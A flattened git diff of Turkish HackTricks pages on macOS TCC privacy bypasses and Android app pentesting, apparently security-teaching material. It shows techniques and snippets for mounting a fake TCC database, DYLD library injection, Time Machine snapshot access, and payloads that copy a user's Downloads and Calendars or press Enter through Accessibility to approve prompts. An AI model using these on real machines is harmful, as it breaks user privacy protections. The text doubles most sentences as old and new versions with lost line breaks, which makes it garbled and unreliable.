Kamera akışını Core Media I/O aracılığıyla açan sistem uygulamaları (**`kTCCServiceCamera`** ile uygulamalar) `/Library/CoreMediaIO/Plug-Ins/DAL` konumunda bulunan **bu eklentileri süreçte yükler** (SIP kısıtlı değil). Kamera akışını Core Media I/O aracılığıyla açan sistem uygulamaları (**`kTCCServiceCamera`** ile uygulamalar) `/Library/CoreMediaIO/Plug-Ins/DAL` konumundaki **bu eklentileri yükler** (SIP kısıtlı değil).
Oraya sadece ortak bir **yapıcı** ile bir kütüphane depolamak **kod enjekte etmek** için işe yarayacaktır. Oraya sadece ortak bir **yapıcı** ile bir kütüphane depolamak **kod enjekte etmek** için işe yarayacaktır.
@ -340,11 +340,11 @@ Daha fazla bilgi için [**orijinal rapora bakın**](https://wojciechregula.blog/
### CVE-2020-10006 ### CVE-2020-10006
Binary `/system/Library/Filesystems/acfs.fs/Contents/bin/xsanctl` **`com.apple.private.tcc.allow`** ve **`com.apple.security.get-task-allow`** yetkilerine sahipti, bu da sürece kod enjekte etmeye ve TCC ayrıcalıklarını kullanmaya olanak tanıyordu. Binary `/system/Library/Filesystems/acfs.fs/Contents/bin/xsanctl` **`com.apple.private.tcc.allow`** ve **`com.apple.security.get-task-allow`** yetkilerine sahipti, bu da süreç içine kod enjekte etmeyi ve TCC ayrıcalıklarını kullanmayı sağlıyordu.
### CVE-2023-26818 - Telegram ### CVE-2023-26818 - Telegram
Telegram **`com.apple.security.cs.allow-dyld-environment-variables`** ve **`com.apple.security.cs.disable-library-validation`** yetkilerine sahipti, bu nedenle **izinlerine erişim sağlamak** için kötüye kullanılabiliyordu, örneğin kamerayla kayıt yapmak. [**payload'ı yazımda bulabilirsiniz**](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/). Telegram **`com.apple.security.cs.allow-dyld-environment-variables`** ve **`com.apple.security.cs.disable-library-validation`** yetkilerine sahipti, bu nedenle **izinlerine erişim sağlamak** için kötüye kullanılabiliyordu, örneğin kamerayla kayıt yapmak. [**Payload'ı yazımda bulabilirsiniz**](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/).
Bir kütüphaneyi yüklemek için env değişkeninin nasıl kullanılacağını not edin; bu kütüphaneyi enjekte etmek için **özel bir plist** oluşturuldu ve **`launchctl`** kullanılarak başlatıldı: Bir kütüphaneyi yüklemek için env değişkeninin nasıl kullanılacağını not edin; bu kütüphaneyi enjekte etmek için **özel bir plist** oluşturuldu ve **`launchctl`** kullanılarak başlatıldı:
```xml ```xml
@ -417,7 +417,7 @@ exploit_location]; task.standardOutput = pipe;
### CVE-2020-9771 - mount_apfs TCC atlatma ve ayrıcalık yükseltme ### CVE-2020-9771 - mount_apfs TCC atlatma ve ayrıcalık yükseltme
**Herhangi bir kullanıcı** (hatta ayrıcalıksız olanlar bile) bir zaman makinesi anlık görüntüsü oluşturabilir ve montajlayabilir ve bu anlık görüntünün **TÜM dosyalarına** erişebilir.\ **Herhangi bir kullanıcı** (hatta ayrıcalıksız olanlar bile) bir zaman makinesi anlık görüntüsü oluşturabilir ve monte edebilir ve bu anlık görüntünün **TÜM dosyalarına** erişebilir.\
Gerekli olan **tek ayrıcalık**, kullanılan uygulamanın (örneğin `Terminal`) **Tam Disk Erişimi** (FDA) erişimine sahip olmasıdır (`kTCCServiceSystemPolicyAllfiles`), bu da bir yönetici tarafından verilmelidir. Gerekli olan **tek ayrıcalık**, kullanılan uygulamanın (örneğin `Terminal`) **Tam Disk Erişimi** (FDA) erişimine sahip olmasıdır (`kTCCServiceSystemPolicyAllfiles`), bu da bir yönetici tarafından verilmelidir.
```bash ```bash
# Create snapshot # Create snapshot
@ -440,9 +440,9 @@ ls /tmp/snap/Users/admin_user # This will work
``` ```
Daha ayrıntılı bir açıklama [**orijinal raporda bulunabilir**](https://theevilbit.github.io/posts/cve_2020_9771/)**.** Daha ayrıntılı bir açıklama [**orijinal raporda bulunabilir**](https://theevilbit.github.io/posts/cve_2020_9771/)**.**
### CVE-2021-1784 & CVE-2021-30808 - TCC dosyasını monte etme ### CVE-2021-1784 & CVE-2021-30808 - TCC dosyasını mount etme
TCC DB dosyası korunsa bile, yeni bir TCC.db dosyasını **dizinin üzerine monte etmek** mümkündü: TCC DB dosyası korumalı olsa bile, yeni bir TCC.db dosyasını **dizinin üzerine mount etmek** mümkündü:
```bash ```bash
# CVE-2021-1784 # CVE-2021-1784
## Mount over Library/Application\ Support/com.apple.TCC ## Mount over Library/Application\ Support/com.apple.TCC
@ -469,18 +469,18 @@ Check the **full exploit** in the [**original writeup**](https://theevilbit.gith
As explained in the [original writeup](https://www.kandji.io/blog/macos-audit-story-part2), bu CVE `diskarbitrationd`'yi kötüye kullandı. As explained in the [original writeup](https://www.kandji.io/blog/macos-audit-story-part2), bu CVE `diskarbitrationd`'yi kötüye kullandı.
`DiskArbitration` framework'ündeki `DADiskMountWithArgumentsCommon` fonksiyonu güvenlik kontrollerini gerçekleştirdi. Ancak, `diskarbitrationd`'yi doğrudan çağırarak ve dolayısıyla yolda `../` öğeleri ve symlink'ler kullanarak bunu atlamak mümkündür. The function `DADiskMountWithArgumentsCommon` from the public `DiskArbitration` framework performed the security checks. Ancak, doğrudan `diskarbitrationd` çağrılarak ve bu nedenle yolda `../` öğeleri ve symlinkler kullanılarak atlatılması mümkündür.
Bu, bir saldırganın herhangi bir konumda, `diskarbitrationd`'nin `com.apple.private.security.storage-exempt.heritable` yetkisi nedeniyle TCC veritabanı üzerinde keyfi montajlar yapmasına olanak tanıdı. Bu, bir saldırganın herhangi bir konumda, `diskarbitrationd`'nin `com.apple.private.security.storage-exempt.heritable` yetkisi nedeniyle TCC veritabanı üzerinde bile keyfi montajlar yapmasına olanak tanıdı.
### asr ### asr
**`/usr/sbin/asr`** aracı, TCC korumalarını atlayarak tüm diski kopyalamaya ve başka bir yerde monte etmeye izin verdi. The tool **`/usr/sbin/asr`** tüm diski kopyalamaya ve TCC korumalarını atlayarak başka bir yerde monte etmeye izin verdi.
### Location Services ### Location Services
**`/var/db/locationd/clients.plist`** içinde, **konum hizmetlerine erişim izni verilen** istemcileri belirtmek için üçüncü bir TCC veritabanı bulunmaktadır.\ **`/var/db/locationd/clients.plist`** içinde, **konum hizmetlerine erişim izni verilen** istemcileri belirtmek için üçüncü bir TCC veritabanı bulunmaktadır.\
**`/var/db/locationd/` klasörü DMG montajından korunmamıştı** bu nedenle kendi plist'imizi monte etmek mümkündü. **`/var/db/locationd/`** klasörü DMG montajından korunmadığı için kendi plist'imizi monte etmek mümkündü.
## By startup apps ## By startup apps
@ -490,7 +490,7 @@ Bu, bir saldırganın herhangi bir konumda, `diskarbitrationd`'nin `com.apple.pr
## By grep ## By grep
Birçok durumda dosyalar, e-postalar, telefon numaraları, mesajlar gibi hassas bilgileri korumasız konumlarda saklayacaktır (bu Apple'da bir zafiyet olarak sayılmaktadır). Birçok durumda dosyalar, korumasız konumlarda e-postalar, telefon numaraları, mesajlar gibi hassas bilgileri saklayacaktır (bu Apple'da bir zafiyet olarak sayılmaktadır).
<figure><img src="../../../../../images/image (474).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../../../images/image (474).png" alt=""><figcaption></figcaption></figure>
@ -500,7 +500,7 @@ Bu artık çalışmıyor, ama [**geçmişte çalışıyordu**](https://twitter.c
<figure><img src="../../../../../images/image (29).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../../../images/image (29).png" alt=""><figcaption></figcaption></figure>
Başka bir yol [**CoreGraphics events**](https://objectivebythesea.org/v2/talks/OBTS_v2_Wardle.pdf) kullanarak: Another way using [**CoreGraphics events**](https://objectivebythesea.org/v2/talks/OBTS_v2_Wardle.pdf):
<figure><img src="../../../../../images/image (30).png" alt="" width="563"><figcaption></figcaption></figure> <figure><img src="../../../../../images/image (30).png" alt="" width="563"><figcaption></figcaption></figure>

View File

@ -14,9 +14,9 @@ end tell
Burada bazı örnekler var: [https://github.com/abbeycode/AppleScripts](https://github.com/abbeycode/AppleScripts)\ Burada bazı örnekler var: [https://github.com/abbeycode/AppleScripts](https://github.com/abbeycode/AppleScripts)\
Kötü amaçlı yazılımlar hakkında daha fazla bilgi için applescripts kullanarak [**buradan**](https://www.sentinelone.com/blog/how-offensive-actors-use-applescript-for-attacking-macos/) ulaşabilirsiniz. Kötü amaçlı yazılımlar hakkında daha fazla bilgi için applescripts kullanarak [**buradan**](https://www.sentinelone.com/blog/how-offensive-actors-use-applescript-for-attacking-macos/) ulaşabilirsiniz.
Apple script'ler kolayca "**derlenebilir**". Bu sürümler kolayca "**açılabilir**" `osadecompile` ile Apple scriptleri kolayca "**derlenebilir**". Bu versiyonlar kolayca "**açıklanabilir**" `osadecompile` ile
Ancak, bu script'ler **"Sadece okunur" olarak dışa aktarılabilir** ( "Dışa Aktar..." seçeneği aracılığıyla): Ancak, bu scriptler **"Sadece okunur" olarak dışa aktarılabilir** ( "Dışa Aktar..." seçeneği aracılığıyla):
<figure><img src="https://github.com/carlospolop/hacktricks/raw/master/images/image%20(556).png" alt=""><figcaption></figcaption></figure> <figure><img src="https://github.com/carlospolop/hacktricks/raw/master/images/image%20(556).png" alt=""><figcaption></figcaption></figure>
``` ```
@ -25,6 +25,6 @@ mal.scpt: AppleScript compiled
``` ```
ve bu durumda içerik `osadecompile` ile bile decompile edilemez ve bu durumda içerik `osadecompile` ile bile decompile edilemez
Ancak, bu tür yürütülebilir dosyaları anlamak için kullanılabilecek bazı araçlar hala vardır, [**daha fazla bilgi için bu araştırmayı okuyun**](https://labs.sentinelone.com/fade-dead-adventures-in-reversing-malicious-run-only-applescripts/)). [**applescript-disassembler**](https://github.com/Jinmo/applescript-disassembler) aracı ve [**aevt_decompile**](https://github.com/SentineLabs/aevt_decompile) scriptin nasıl çalıştığını anlamak için çok faydalı olacaktır. Ancak, bu tür yürütülebilir dosyaları anlamak için kullanılabilecek bazı araçlar hala mevcuttur, [**daha fazla bilgi için bu araştırmayı okuyun**](https://labs.sentinelone.com/fade-dead-adventures-in-reversing-malicious-run-only-applescripts/)). [**applescript-disassembler**](https://github.com/Jinmo/applescript-disassembler) aracı ve [**aevt_decompile**](https://github.com/SentineLabs/aevt_decompile) scriptin nasıl çalıştığını anlamak için çok faydalı olacaktır.
{{#include ../../../../../banners/hacktricks-training.md}} {{#include ../../../../../banners/hacktricks-training.md}}

View File

@ -142,7 +142,7 @@ fclose(stderr); // Close the file stream
{{#endtab}} {{#endtab}}
{{#tab name="Shell"}} {{#tab name="Shell"}}
`$HOME/Dowloads`'ı `/tmp/downloads`'a kopyalayın. `$HOME/Dowloads`'ı `/tmp/downloads`'a kopyala.
```bash ```bash
cp -r "$HOME/Downloads" "/tmp/downloads" cp -r "$HOME/Downloads" "/tmp/downloads"
``` ```
@ -254,7 +254,7 @@ cp -r "$HOME/Library/Application Support/AddressBook" "/tmp/contacts"
{{#tabs}} {{#tabs}}
{{#tab name="ObjectiveC"}} {{#tab name="ObjectiveC"}}
`$HOME/Library/Calendars`'ı `/tmp/calendars`'a kopyalayın. `$HOME/Library/Calendars`'ı `/tmp/calendars`'a kopyala.
```objectivec ```objectivec
#include <syslog.h> #include <syslog.h>
#include <stdio.h> #include <stdio.h>
@ -303,7 +303,7 @@ cp -r "$HOME/Library/Calendars" "/tmp/calendars"
{{#tabs}} {{#tabs}}
{{#tab name="ObjetiveC - Kaydet"}} {{#tab name="ObjetiveC - Kaydet"}}
3 saniyelik bir video kaydedin ve **`/tmp/recording.mov`** konumuna kaydedin. 3 saniyelik bir video kaydedin ve **`/tmp/recording.mov`** konumuna kaydedin
```objectivec ```objectivec
#import <Foundation/Foundation.h> #import <Foundation/Foundation.h>
#import <AVFoundation/AVFoundation.h> #import <AVFoundation/AVFoundation.h>
@ -713,7 +713,7 @@ screencapture -V 5 /tmp/screen.mov
- **Yetki**: Yok - **Yetki**: Yok
- **TCC**: `kTCCServiceAccessibility` - **TCC**: `kTCCServiceAccessibility`
Finder'ın kontrolünü kabul etmek için TCC ayrıcalığını kullanarak enter tuşuna basın ve bu şekilde TCC'yi atlayın. Finder kontrolünü kabul etmek için TCC ayrıcalığını kullanarak enter tuşuna basın ve bu şekilde TCC'yi atlayın.
{{#tabs}} {{#tabs}}
{{#tab name="TCC'yi Kabul Et"}} {{#tab name="TCC'yi Kabul Et"}}
@ -877,6 +877,6 @@ return 0;
{{#endtab}} {{#endtab}}
{{#endtabs}} {{#endtabs}}
> [!CAUTION] > **Erişilebilirlik çok güçlü bir izindir**, bunu başka şekillerde kötüye kullanabilirsiniz, örneğin **tuş vuruşu saldırısını** sadece bununla gerçekleştirebilirsiniz, System Events'i çağırmanıza gerek kalmadan. > [!CAUTION] > **Erişilebilirlik çok güçlü bir izindir**, bunu başka şekillerde kötüye kullanabilirsiniz, örneğin **tuş vuruşları saldırısını** sadece bununla gerçekleştirebilirsiniz, System Events'i çağırmanıza gerek kalmadan.
{{#include ../../../../banners/hacktricks-training.md}} {{#include ../../../../banners/hacktricks-training.md}}

View File

@ -24,7 +24,7 @@ Bazen **gizli bilgilere** erişmek için **uygulama kodunu değiştirmek** ilgin
## Diğer ilginç ipuçları ## Diğer ilginç ipuçları
- [Play Store'da konumunuzu sahtelemek](spoofing-your-location-in-play-store.md) - [Play Store'da konumunuzu sahteleyin](spoofing-your-location-in-play-store.md)
- **APK'ları İndirin**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd) - **APK'ları İndirin**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd)
- Cihazdan APK çıkarın: - Cihazdan APK çıkarın:
```bash ```bash
@ -47,12 +47,12 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
``` ```
## Statik Analiz ## Statik Analiz
Öncelikle, bir APK'yı analiz etmek için **Java koduna göz atmalısınız** bir decompiler kullanarak.\ Öncelikle, bir APK'yı analiz etmek için **Java koduna göz atmalısınız** bir dekompiler kullanarak.\
Lütfen, [**farklı mevcut decompiler'lar hakkında bilgi almak için burayı okuyun**](apk-decompilers.md). Lütfen, [**farklı mevcut dekompilerler hakkında bilgi almak için burayı okuyun**](apk-decompilers.md).
### İlginç Bilgiler Aramak ### İlginç Bilgiler Aramak
APK'nın **string'lerine** bakarak **şifreler**, **URL'ler** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **api** anahtarları, **şifreleme**, **bluetooth uuids**, **token'lar** ve ilginç olabilecek her şeyi arayabilirsiniz... hatta kod yürütme **arka kapıları** veya kimlik doğrulama arka kapıları (uygulama için hardcoded admin kimlik bilgileri) arayın. APK'nın **string'lerine** bakarak **şifreler**, **URL'ler** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **api** anahtarları, **şifreleme**, **bluetooth uuid'leri**, **token'lar** ve ilginç olabilecek her şeyi arayabilirsiniz... hatta kod yürütme **arka kapıları** veya kimlik doğrulama arka kapıları (uygulama için hardcoded admin kimlik bilgileri) arayın.
**Firebase** **Firebase**
@ -60,23 +60,23 @@ APK'nın **string'lerine** bakarak **şifreler**, **URL'ler** ([https://github.c
### Uygulamanın Temel Anlayışı - Manifest.xml, strings.xml ### Uygulamanın Temel Anlayışı - Manifest.xml, strings.xml
Bir uygulamanın **_Manifest.xml**_\*\* ve \*\*_**strings.xml**\_\*\* dosyalarının incelenmesi potansiyel güvenlik açıklarını ortaya çıkarabilir\*\*. Bu dosyalara decompiler'lar kullanarak veya APK dosya uzantısını .zip olarak değiştirip ardından açarak erişilebilir. Bir uygulamanın **_Manifest.xml**_\*\* ve \*\*_**strings.xml**\_\*\* dosyalarının incelenmesi potansiyel güvenlik açıklarını ortaya çıkarabilir\*\*. Bu dosyalara dekompilerler kullanarak veya APK dosya uzantısını .zip olarak değiştirip ardından açarak erişilebilir.
**Manifest.xml** dosyasından tespit edilen **açıklar** şunlardır: **Manifest.xml** dosyasından tespit edilen **açıklar** şunlardır:
- **Debuggable Uygulamalar**: _Manifest.xml_ dosyasında debuggable olarak ayarlanmış (`debuggable="true"`) uygulamalar, bağlantılara izin vererek istismar riskini artırır. Debuggable uygulamaları nasıl istismar edeceğinizi anlamak için bir cihazda debuggable uygulamaları bulma ve istismar etme üzerine bir eğitime başvurun. - **Debuggable Uygulamalar**: _Manifest.xml_ dosyasında debuggable olarak ayarlanmış (`debuggable="true"`) uygulamalar, bağlantılara izin vererek istismar riskini artırır. Debuggable uygulamaları bulma ve istismar etme hakkında daha fazla bilgi için bir eğitime başvurun.
- **Yedekleme Ayarları**: Hassas bilgilerle ilgilenen uygulamalar için `android:allowBackup="false"` niteliği açıkça ayarlanmalıdır, böylece adb üzerinden yetkisiz veri yedeklemeleri önlenir, özellikle usb hata ayıklama etkinleştirildiğinde. - **Yedekleme Ayarları**: Hassas bilgilerle ilgilenen uygulamalar için `android:allowBackup="false"` niteliği açıkça ayarlanmalıdır, böylece adb üzerinden yetkisiz veri yedeklemeleri önlenir, özellikle usb hata ayıklama etkinleştirildiğinde.
- **Ağ Güvenliği**: _res/xml/_ içindeki özel ağ güvenliği yapılandırmaları (`android:networkSecurityConfig="@xml/network_security_config"`) sertifika pinleri ve HTTP trafiği ayarları gibi güvenlik detaylarını belirtebilir. Örneğin, belirli alanlar için HTTP trafiğine izin vermek. - **Ağ Güvenliği**: _res/xml/_ içindeki özel ağ güvenliği yapılandırmaları (`android:networkSecurityConfig="@xml/network_security_config"`) sertifika pinleri ve HTTP trafiği ayarları gibi güvenlik detaylarını belirtebilir. Örneğin, belirli alanlar için HTTP trafiğine izin vermek.
- **Dışa Aktarılan Aktiviteler ve Servisler**: Manifestte dışa aktarılan aktiviteleri ve servisleri tanımlamak, kötüye kullanılabilecek bileşenleri vurgulayabilir. Dinamik test sırasında daha fazla analiz, bu bileşenleri nasıl istismar edeceğinizi ortaya çıkarabilir. - **Dışa Aktarılan Aktiviteler ve Servisler**: Manifestte dışa aktarılan aktiviteleri ve servisleri tanımlamak, kötüye kullanılabilecek bileşenleri vurgulayabilir. Dinamik test sırasında daha fazla analiz, bu bileşenlerin nasıl istismar edileceğini ortaya çıkarabilir.
- **İçerik Sağlayıcıları ve FileProviders**: Açıkta bulunan içerik sağlayıcıları, yetkisiz erişim veya veri değişikliği sağlayabilir. FileProviders'ın yapılandırması da incelenmelidir. - **İçerik Sağlayıcıları ve FileProviders**: Açıkta bulunan içerik sağlayıcıları, yetkisiz erişim veya veri değişikliği sağlayabilir. FileProviders'ın yapılandırması da incelenmelidir.
- **Broadcast Alıcıları ve URL Şemaları**: Bu bileşenler istismar için kullanılabilir, URL şemalarının giriş açıkları için nasıl yönetildiğine özel dikkat gösterilmelidir. - **Broadcast Alıcıları ve URL Şemaları**: Bu bileşenler istismar için kullanılabilir, URL şemalarının giriş açıkları için nasıl yönetildiğine özel dikkat gösterilmelidir.
- **SDK Versiyonları**: `minSdkVersion`, `targetSDKVersion` ve `maxSdkVersion` nitelikleri desteklenen Android sürümlerini belirtir, güvenlik nedenleriyle eski, savunmasız Android sürümlerinin desteklenmemesinin önemini vurgular. - **SDK Sürümleri**: `minSdkVersion`, `targetSDKVersion` ve `maxSdkVersion` nitelikleri desteklenen Android sürümlerini gösterir, güvenlik nedenleriyle eski, savunmasız Android sürümlerinin desteklenmemesinin önemini vurgular.
**strings.xml** dosyasından, API anahtarları, özel şemalar ve diğer geliştirici notları gibi hassas bilgiler keşfedilebilir, bu da bu kaynakların dikkatli bir şekilde gözden geçirilmesi gereğini vurgular. **strings.xml** dosyasından, API anahtarları, özel şemalar ve diğer geliştirici notları gibi hassas bilgiler keşfedilebilir, bu da bu kaynakların dikkatli bir şekilde gözden geçirilmesi gerekliliğini vurgular.
### Tapjacking ### Tapjacking
**Tapjacking**, **kötü niyetli** bir **uygulamanın** başlatıldığı ve **bir kurban uygulamasının üzerine yerleştirildiği** bir saldırıdır. Kurban uygulamasını görünür şekilde gizlediğinde, kullanıcı arayüzü, kullanıcının onunla etkileşimde bulunmasını sağlamak için tasarlanmıştır, bu arada etkileşimi kurban uygulamasına iletmektedir.\ **Tapjacking**, **kötü niyetli** bir **uygulamanın** başlatıldığı ve **bir kurban uygulamasının üzerine yerleştiği** bir saldırıdır. Kurban uygulamasını görünür bir şekilde gizlediğinde, kullanıcı arayüzü, kullanıcının onunla etkileşimde bulunmasını sağlamak için tasarlanmıştır, bu arada etkileşimi kurban uygulamasına iletmektedir.\
Sonuç olarak, bu, **kullanıcının aslında kurban uygulamasında eylemler gerçekleştirdiğini bilmesini engellemektedir**. Sonuç olarak, bu, **kullanıcının aslında kurban uygulamasında eylemler gerçekleştirdiğini bilmesini engellemektedir**.
Daha fazla bilgi için: Daha fazla bilgi için:
@ -99,16 +99,16 @@ android-task-hijacking.md
**Dahili Depolama** **Dahili Depolama**
Android'de, **dahili** depolamada **saklanan** dosyalar, yalnızca **oluşturan** **uygulama** tarafından **erişilebilir** olacak şekilde **tasarlanmıştır**. Bu güvenlik önlemi, Android işletim sistemi tarafından **uygulanır** ve genellikle çoğu uygulamanın güvenlik ihtiyaçları için yeterlidir. Ancak, geliştiriciler bazen `MODE_WORLD_READABLE` ve `MODE_WORLD_WRITABLE` gibi modları kullanarak dosyaların farklı uygulamalar arasında **paylaşılmasına** izin verir. Ancak, bu modlar, diğer uygulamalar tarafından, potansiyel olarak kötü niyetli olanlar da dahil olmak üzere, bu dosyalara erişimi **kısıtlamaz**. Android'de, **dahili** depolamada **saklanan** dosyalar yalnızca **oluşturan** **uygulama** tarafından **erişilebilir** olacak şekilde **tasarlanmıştır**. Bu güvenlik önlemi, Android işletim sistemi tarafından **uygulanır** ve genellikle çoğu uygulamanın güvenlik ihtiyaçları için yeterlidir. Ancak, geliştiriciler bazen `MODE_WORLD_READABLE` ve `MODE_WORLD_WRITABLE` gibi modları kullanarak dosyaların farklı uygulamalar arasında **paylaşılmasına** izin verir. Ancak, bu modlar diğer uygulamalar, potansiyel olarak kötü niyetli olanlar dahil, bu dosyalara erişimi **kısıtlamaz**.
1. **Statik Analiz:** 1. **Statik Analiz:**
- `MODE_WORLD_READABLE` ve `MODE_WORLD_WRITABLE` kullanımının **dikkatlice incelenmesini** sağlayın. Bu modlar, dosyaları **istenmeyen veya yetkisiz erişime** açabilir. - `MODE_WORLD_READABLE` ve `MODE_WORLD_WRITABLE` kullanımının **dikkatlice incelenmesi** gerektiğini **sağlayın**. Bu modlar, dosyaları **istenmeyen veya yetkisiz erişime** açabilir.
2. **Dinamik Analiz:** 2. **Dinamik Analiz:**
- Uygulama tarafından oluşturulan dosyalar üzerindeki **izinleri** **doğrulayın**. Özellikle, herhangi bir dosyanın **dünya çapında okunabilir veya yazılabilir** olarak ayarlanıp ayarlanmadığını **kontrol edin**. Bu, cihazda yüklü olan **herhangi bir uygulamanın**, kökeni veya niyeti ne olursa olsun, bu dosyaları **okumasına veya değiştirmesine** izin vereceğinden önemli bir güvenlik riski oluşturabilir. - Uygulama tarafından oluşturulan dosyalar üzerindeki **izinleri** **doğrulayın**. Özellikle, herhangi bir dosyanın **dünya çapında okunabilir veya yazılabilir** olarak ayarlanıp ayarlanmadığını **kontrol edin**. Bu, cihazda yüklü olan **herhangi bir uygulamanın**, kökeni veya niyeti ne olursa olsun, bu dosyaları **okumasına veya değiştirmesine** izin vereceğinden önemli bir güvenlik riski oluşturabilir.
**Harici Depolama** **Harici Depolama**
**Harici depolama** ile dosyalarla ilgilenirken, belirli önlemler alınmalıdır: **Harici depolama** ile ilgili dosyalarla çalışırken, belirli önlemler alınmalıdır:
1. **Erişilebilirlik**: 1. **Erişilebilirlik**:
- Harici depolamadaki dosyalar **genel olarak okunabilir ve yazılabilir**. Bu, herhangi bir uygulamanın veya kullanıcının bu dosyalara erişebileceği anlamına gelir. - Harici depolamadaki dosyalar **genel olarak okunabilir ve yazılabilir**. Bu, herhangi bir uygulamanın veya kullanıcının bu dosyalara erişebileceği anlamına gelir.
@ -118,7 +118,7 @@ Android'de, **dahili** depolamada **saklanan** dosyalar, yalnızca **oluşturan*
3. **Harici Depolamadan Veri İşleme**: 3. **Harici Depolamadan Veri İşleme**:
- Harici depolamadan alınan veriler üzerinde her zaman **giriş doğrulaması** yapın. Bu, verilerin güvenilir bir kaynaktan gelmediği için kritik öneme sahiptir. - Harici depolamadan alınan veriler üzerinde her zaman **giriş doğrulaması** yapın. Bu, verilerin güvenilir bir kaynaktan gelmediği için kritik öneme sahiptir.
- Dinamik yükleme için harici depolamada yürütülebilir veya sınıf dosyaları saklamak kesinlikle önerilmez. - Dinamik yükleme için harici depolamada yürütülebilir veya sınıf dosyaları saklamak kesinlikle önerilmez.
- Uygulamanız harici depolamadan yürütülebilir dosyaları almak zorundaysa, bu dosyaların **imzalanmış ve kriptografik olarak doğrulanmış** olduğundan emin olun. Bu adım, uygulamanızın güvenlik bütünlüğünü korumak için hayati öneme sahiptir. - Uygulamanız harici depolamadan yürütülebilir dosyalar alması gerekiyorsa, bu dosyaların dinamik olarak yüklenmeden önce **imzalanmış ve kriptografik olarak doğrulanmış** olduğundan emin olun. Bu adım, uygulamanızın güvenlik bütünlüğünü korumak için hayati öneme sahiptir.
Harici depolama, `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard` yollarında **erişilebilir**. Harici depolama, `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard` yollarında **erişilebilir**.
@ -127,36 +127,36 @@ Harici depolama, `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard` yollarında **e
**Açık metin olarak saklanan hassas veriler** **Açık metin olarak saklanan hassas veriler**
- **Paylaşılan tercihleri**: Android, her uygulamanın `/data/data/<packagename>/shared_prefs/` yolunda xml dosyalarını kolayca kaydetmesine izin verir ve bazen bu klasörde açık metin olarak hassas bilgiler bulmak mümkündür. - **Paylaşılan tercihleri**: Android, her uygulamanın `/data/data/<packagename>/shared_prefs/` yolunda xml dosyalarını kolayca kaydetmesine izin verir ve bazen o klasörde açık metin olarak hassas bilgiler bulmak mümkündür.
- **Veritabanları**: Android, her uygulamanın `/data/data/<packagename>/databases/` yolunda sqlite veritabanlarını kolayca kaydetmesine izin verir ve bazen bu klasörde açık metin olarak hassas bilgiler bulmak mümkündür. - **Veritabanları**: Android, her uygulamanın `/data/data/<packagename>/databases/` yolunda sqlite veritabanlarını kolayca kaydetmesine izin verir ve bazen o klasörde açık metin olarak hassas bilgiler bulmak mümkündür.
### Kırık TLS ### Kırık TLS
**Tüm Sertifikaları Kabul Etme** **Tüm Sertifikaları Kabul Etme**
Bazı nedenlerden dolayı, bazen geliştiriciler tüm sertifikaları kabul eder, örneğin, ana bilgisayar adı kod satırlarıyla eşleşmediğinde bile: Bazı nedenlerden dolayı, bazen geliştiriciler tüm sertifikaları kabul eder, örneğin, ana bilgisayar adı aşağıdaki gibi kod satırlarıyla eşleşmese bile:
```java ```java
SSLSocketFactory sf = new cc(trustStore); SSLSocketFactory sf = new cc(trustStore);
sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER); sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
``` ```
Bu testi denemenin iyi bir yolu, Burp gibi bir proxy kullanarak trafiği yakalamaya çalışmaktır, ancak cihaz içinde Burp CA'yı yetkilendirmeden. Ayrıca, Burp ile farklı bir hostname için bir sertifika oluşturabilir ve bunu kullanabilirsiniz. İyi bir test yöntemi, Burp gibi bir proxy kullanarak trafiği yakalamaya çalışmaktır, ancak cihaz içinde Burp CA'yı yetkilendirmeden. Ayrıca, Burp ile farklı bir hostname için bir sertifika oluşturabilir ve bunu kullanabilirsiniz.
### Kırık Kriptografi ### Kırık Kriptografi
**Zayıf Anahtar Yönetim Süreçleri** **Zayıf Anahtar Yönetim Süreçleri**
Bazı geliştiriciler hassas verileri yerel depolamada saklar ve bunu kodda hardcoded/tahmin edilebilir bir anahtar ile şifreler. Bu yapılmamalıdır çünkü bazı tersine mühendislik işlemleri, saldırganların gizli bilgileri çıkarmasına olanak tanıyabilir. Bazı geliştiriciler hassas verileri yerel depolamada saklar ve bunu kodda hardcoded/tahmin edilebilir bir anahtar ile şifreler. Bu yapılmamalıdır çünkü bazı tersine mühendislik işlemleri, saldırganların gizli bilgileri çıkarmasına izin verebilir.
**Güvensiz ve/veya Kullanımdan Kaldırılmış Algoritmaların Kullanımı** **Güvensiz ve/veya Kullanımdan Kaldırılmış Algoritmaların Kullanımı**
Geliştiriciler, yetkilendirme **kontrolleri** yapmak, **veri saklamak** veya **göndermek** için **kullanımdan kaldırılmış algoritmalar** kullanmamalıdır. Bu algoritmalardan bazıları: RC4, MD4, MD5, SHA1... Örneğin, şifreleri saklamak için **hash'ler** kullanılıyorsa, tuz ile birlikte **brute-force saldırılarına dayanıklı** hash'ler kullanılmalıdır. Geliştiriciler, yetkilendirme **kontrolleri**, **veri saklama** veya **gönderme** işlemleri için **kullanımdan kaldırılmış algoritmalar** kullanmamalıdır. Bu algoritmalardan bazıları: RC4, MD4, MD5, SHA1... Örneğin, şifreleri saklamak için **hash'ler** kullanılıyorsa, tuz ile birlikte **brute-force saldırılarına dayanıklı** hash'ler kullanılmalıdır.
### Diğer Kontroller ### Diğer Kontroller
